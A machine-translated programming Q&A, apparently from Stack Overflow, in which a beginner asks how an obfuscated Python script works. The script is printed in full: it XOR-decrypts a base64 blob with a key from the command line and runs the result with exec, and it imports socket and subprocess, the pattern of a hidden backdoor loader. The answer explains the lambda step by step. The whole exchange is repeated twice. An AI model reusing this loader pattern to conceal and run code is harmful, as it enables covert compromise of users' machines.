理解 lambda & .join(chr(ord(letter))
understanding lambda & .join(chr(ord(letter))
我在 python 编码方面完全是菜鸟,我正在尝试进行逆向工程 script/program 但很难理解 lambda/.join(chr(ord()) 函数:
我试图逆向工程的代码如下:
#!/usr/bin/env python
from itertools import cycle, izip
import base64, sys
import socket, subprocess, os, urllib
x = lambda a, b: ''.join(chr(ord(c)^ord(k)) for c,k in izip(base64.decodestring(a), cycle(b)))
c = """
EBF9em9mAARICEAAW0doVwVWQWhGAUpsWVJSTjleXkFcQUMTQlxQXFZFHxNERlNDQVhQVEBAGxNe
QB8XRkNfX15ROzl7eGBlEw4XEQALCxkCBwUdBgUGHQIDAhM5Y3hhZRMOFwUHBQU9OUJbVltfEQ4T
W1JcUVdWCRERaBJAbBMXFxERFhNER0MbXEQdVlZHVERVGxoeOUkTDhdfUF5RU1IRVwkXERMdWVha
XxtoVFtDG1xFVxlLGhdtEQNLAVYYE1VYQRFLE15dEVduHjk7QBMKE0JcUFxWRR1AWFBaVkcfQF5Q
WFJHH3J1aHp/dmcbE0JcUFxWRR1geHB6bGBjYXRyfh45Qh1QWF1fVlBDGxl7fGRnHRNjeGFlGho9
QB9AVllXGUsbRFtUX18fGhgaOT1EWVpfUhNlQUZSCTsTExcTUl5XFw4RSxtEHUNWUEEbAAMBAxoY
ORMXExFBVkRGXUcTChMTETkXExETWlETUl5XFw4MExFGRlhHEQ0TU0FWVlg7ExMXE1RfWlETUl5X
GUBFUkFDQEZaR18bE1BXFxEYCTkXExETExcTEUdBTgk7ExMXExETExcTERMTWEAfUFtTWkMbUFpX
agAJaho7ExMXExETExdWSVBWR0cLORMXExETExcTERMTF0FUQEZbRxEOExV9XhNAQlBZE1VeX1QT
XEUTVVpBUlBFXEFOEm1dET0TERMTUl9YVRNUXlUdQENSQ0dAQFpFWxsVVFRHExUaCzkTFxMRExMX
E0VBSg05ERMTFxMRExMXExETRkVfXVpRGWZjf1xHVl9WQR8aH0FWQ0FYVkVSG1JeV2wHC24fF1xC
HUNWR1kdUVZAVF1SWlYZUF5TaAUJbh4aOxMTFxMRExMXVklQVkdHEXZLVFZBR1pYXRFSQBdWCzkT
FxMRExMXExETExdBVEBGW0cRDhNER0MbVh4TGhMRa10TORMXExFWX15VEVBeUx1CR1JFR0JEWkNb
GRFWT1ZSExEeCTsTExcTERMTF0RYR1sXXEFWXR8UVEtWVB1FS0cQHxEURBAaEVJAF1ULORMXExET
ExcTERMTF0BEUUNFXFJWQEQdUlJfWxtSXldsBgtuHxdARVdcQkcMVR8XQEVXVkVBDFUaPRMRExMX
ExETQVJARF9HFw4REXZPVlJGR1JXHxN8QkdBRkcXWl8TVk9WUh1HT0dtXRE9ExETE1JfQlYJPRMR
ExMXExETQ0VcUhMOF0BEUUNFXFJWQEQdYVxDUl0ZORMXExETExcTERMTFxMRExNUXlUfORcTERMT
FxMRExMXExETExdAWVZfWw5lQUZSHzsTExcTERMTFxMRExMXExETQENXXkZHCkBEUUNFXFJWQEQd
YXpjch87ExMXExETExcTERMTFxMRE0BDV1RBQQpARFFDRVxSVkBEHWF6Y3IfOxMTFxMRExMXExET
ExcTERNAQ1dYXQ5ERlNDQVhQVEBAGWN4Y3YeORETExcTERMTRVZCRl9DEwwTQ0VcUh1AQ1deRkcZ
QVRSVx8aERgTR0FeUB1ER1VWQUUdQ1ZSUxsYORMXExFAHURWX1cbTxtDVkBCX0UTGBdAWVZfWxsY
Gho9QB9QX1hAVBsaPQ==
"""
exec(x(c, sys.argv[1]))
如果我理解正确的话,运算符 C 是 base64 编码变量,但它不能立即解码,因为它在 ''.join(chr(c)^ord(k))
处被破坏,它以某种方式使用 C 的解码版本,并通过 sysargv 值循环它 - 但是这是我完全迷路的地方;首先处理哪个函数,C 和 K 的 XOR 还是 A 和 B 的循环?
另外,这个时候k是从哪里来的,不应该是sysargv 是不是在程序的exec部分设置为b,所以这是不是一些导入模块默认设置的东西?
让我们分解一下:
x = lambda stuff: other_stuff
几乎完全等同于
def x(stuff):
return other_stuff
所以它只是定义一个函数,它接受 a
(base64 编码的密文)和 b
(密钥)和 returns 解码的字符串。
现在,从内到外:
base64.decodestring(a)
这只是对密文的 base64 编码进行解码,returns 解码后的字符串
cycle(b)
Returns 一个遍历 b 的迭代器;例如,如果 b 是 "abc"
迭代器将继续提供 a, b, c, a, b, c, a, b, c,... 直到永远。
izip(...)
Returns 一个迭代器,提供两个序列的 "zipped" 元组;例如,如果第一个参数是 "12345"
,第二个参数是 cycle("abc")
,它将提供 ("1", "a"), ("2", "b"), ("3", "c"), ("4", "a"), ("5", "b")
。
chr(ord(c)^ord(k)) for c,k in izip(...)
这是一个生成器表达式,它迭代 izip
的结果,将上面的这些元组解压缩为 c
和 k
(每个字节的密文和密钥)通过异或*(^
)他们的字节值(ord
)计算出解密的字节,并将结果重新组合成相应的字符(chr
)。结果是一个提供解码字符的生成器。
''.join(...)
将生成器表达式提供的字符与结果合并为一个大字符串。
我在 python 编码方面完全是菜鸟,我正在尝试进行逆向工程 script/program 但很难理解 lambda/.join(chr(ord()) 函数:
我试图逆向工程的代码如下:
#!/usr/bin/env python
from itertools import cycle, izip
import base64, sys
import socket, subprocess, os, urllib
x = lambda a, b: ''.join(chr(ord(c)^ord(k)) for c,k in izip(base64.decodestring(a), cycle(b)))
c = """
EBF9em9mAARICEAAW0doVwVWQWhGAUpsWVJSTjleXkFcQUMTQlxQXFZFHxNERlNDQVhQVEBAGxNe
QB8XRkNfX15ROzl7eGBlEw4XEQALCxkCBwUdBgUGHQIDAhM5Y3hhZRMOFwUHBQU9OUJbVltfEQ4T
W1JcUVdWCRERaBJAbBMXFxERFhNER0MbXEQdVlZHVERVGxoeOUkTDhdfUF5RU1IRVwkXERMdWVha
XxtoVFtDG1xFVxlLGhdtEQNLAVYYE1VYQRFLE15dEVduHjk7QBMKE0JcUFxWRR1AWFBaVkcfQF5Q
WFJHH3J1aHp/dmcbE0JcUFxWRR1geHB6bGBjYXRyfh45Qh1QWF1fVlBDGxl7fGRnHRNjeGFlGho9
QB9AVllXGUsbRFtUX18fGhgaOT1EWVpfUhNlQUZSCTsTExcTUl5XFw4RSxtEHUNWUEEbAAMBAxoY
ORMXExFBVkRGXUcTChMTETkXExETWlETUl5XFw4MExFGRlhHEQ0TU0FWVlg7ExMXE1RfWlETUl5X
GUBFUkFDQEZaR18bE1BXFxEYCTkXExETExcTEUdBTgk7ExMXExETExcTERMTWEAfUFtTWkMbUFpX
agAJaho7ExMXExETExdWSVBWR0cLORMXExETExcTERMTF0FUQEZbRxEOExV9XhNAQlBZE1VeX1QT
XEUTVVpBUlBFXEFOEm1dET0TERMTUl9YVRNUXlUdQENSQ0dAQFpFWxsVVFRHExUaCzkTFxMRExMX
E0VBSg05ERMTFxMRExMXExETRkVfXVpRGWZjf1xHVl9WQR8aH0FWQ0FYVkVSG1JeV2wHC24fF1xC
HUNWR1kdUVZAVF1SWlYZUF5TaAUJbh4aOxMTFxMRExMXVklQVkdHEXZLVFZBR1pYXRFSQBdWCzkT
FxMRExMXExETExdBVEBGW0cRDhNER0MbVh4TGhMRa10TORMXExFWX15VEVBeUx1CR1JFR0JEWkNb
GRFWT1ZSExEeCTsTExcTERMTF0RYR1sXXEFWXR8UVEtWVB1FS0cQHxEURBAaEVJAF1ULORMXExET
ExcTERMTF0BEUUNFXFJWQEQdUlJfWxtSXldsBgtuHxdARVdcQkcMVR8XQEVXVkVBDFUaPRMRExMX
ExETQVJARF9HFw4REXZPVlJGR1JXHxN8QkdBRkcXWl8TVk9WUh1HT0dtXRE9ExETE1JfQlYJPRMR
ExMXExETQ0VcUhMOF0BEUUNFXFJWQEQdYVxDUl0ZORMXExETExcTERMTFxMRExNUXlUfORcTERMT
FxMRExMXExETExdAWVZfWw5lQUZSHzsTExcTERMTFxMRExMXExETQENXXkZHCkBEUUNFXFJWQEQd
YXpjch87ExMXExETExcTERMTFxMRE0BDV1RBQQpARFFDRVxSVkBEHWF6Y3IfOxMTFxMRExMXExET
ExcTERNAQ1dYXQ5ERlNDQVhQVEBAGWN4Y3YeORETExcTERMTRVZCRl9DEwwTQ0VcUh1AQ1deRkcZ
QVRSVx8aERgTR0FeUB1ER1VWQUUdQ1ZSUxsYORMXExFAHURWX1cbTxtDVkBCX0UTGBdAWVZfWxsY
Gho9QB9QX1hAVBsaPQ==
"""
exec(x(c, sys.argv[1]))
如果我理解正确的话,运算符 C 是 base64 编码变量,但它不能立即解码,因为它在 ''.join(chr(c)^ord(k))
处被破坏,它以某种方式使用 C 的解码版本,并通过 sysargv 值循环它 - 但是这是我完全迷路的地方;首先处理哪个函数,C 和 K 的 XOR 还是 A 和 B 的循环?
另外,这个时候k是从哪里来的,不应该是sysargv 是不是在程序的exec部分设置为b,所以这是不是一些导入模块默认设置的东西?
让我们分解一下:
x = lambda stuff: other_stuff
几乎完全等同于
def x(stuff):
return other_stuff
所以它只是定义一个函数,它接受 a
(base64 编码的密文)和 b
(密钥)和 returns 解码的字符串。
现在,从内到外:
base64.decodestring(a)
这只是对密文的 base64 编码进行解码,returns 解码后的字符串
cycle(b)
Returns 一个遍历 b 的迭代器;例如,如果 b 是 "abc"
迭代器将继续提供 a, b, c, a, b, c, a, b, c,... 直到永远。
izip(...)
Returns 一个迭代器,提供两个序列的 "zipped" 元组;例如,如果第一个参数是 "12345"
,第二个参数是 cycle("abc")
,它将提供 ("1", "a"), ("2", "b"), ("3", "c"), ("4", "a"), ("5", "b")
。
chr(ord(c)^ord(k)) for c,k in izip(...)
这是一个生成器表达式,它迭代 izip
的结果,将上面的这些元组解压缩为 c
和 k
(每个字节的密文和密钥)通过异或*(^
)他们的字节值(ord
)计算出解密的字节,并将结果重新组合成相应的字符(chr
)。结果是一个提供解码字符的生成器。
''.join(...)
将生成器表达式提供的字符与结果合并为一个大字符串。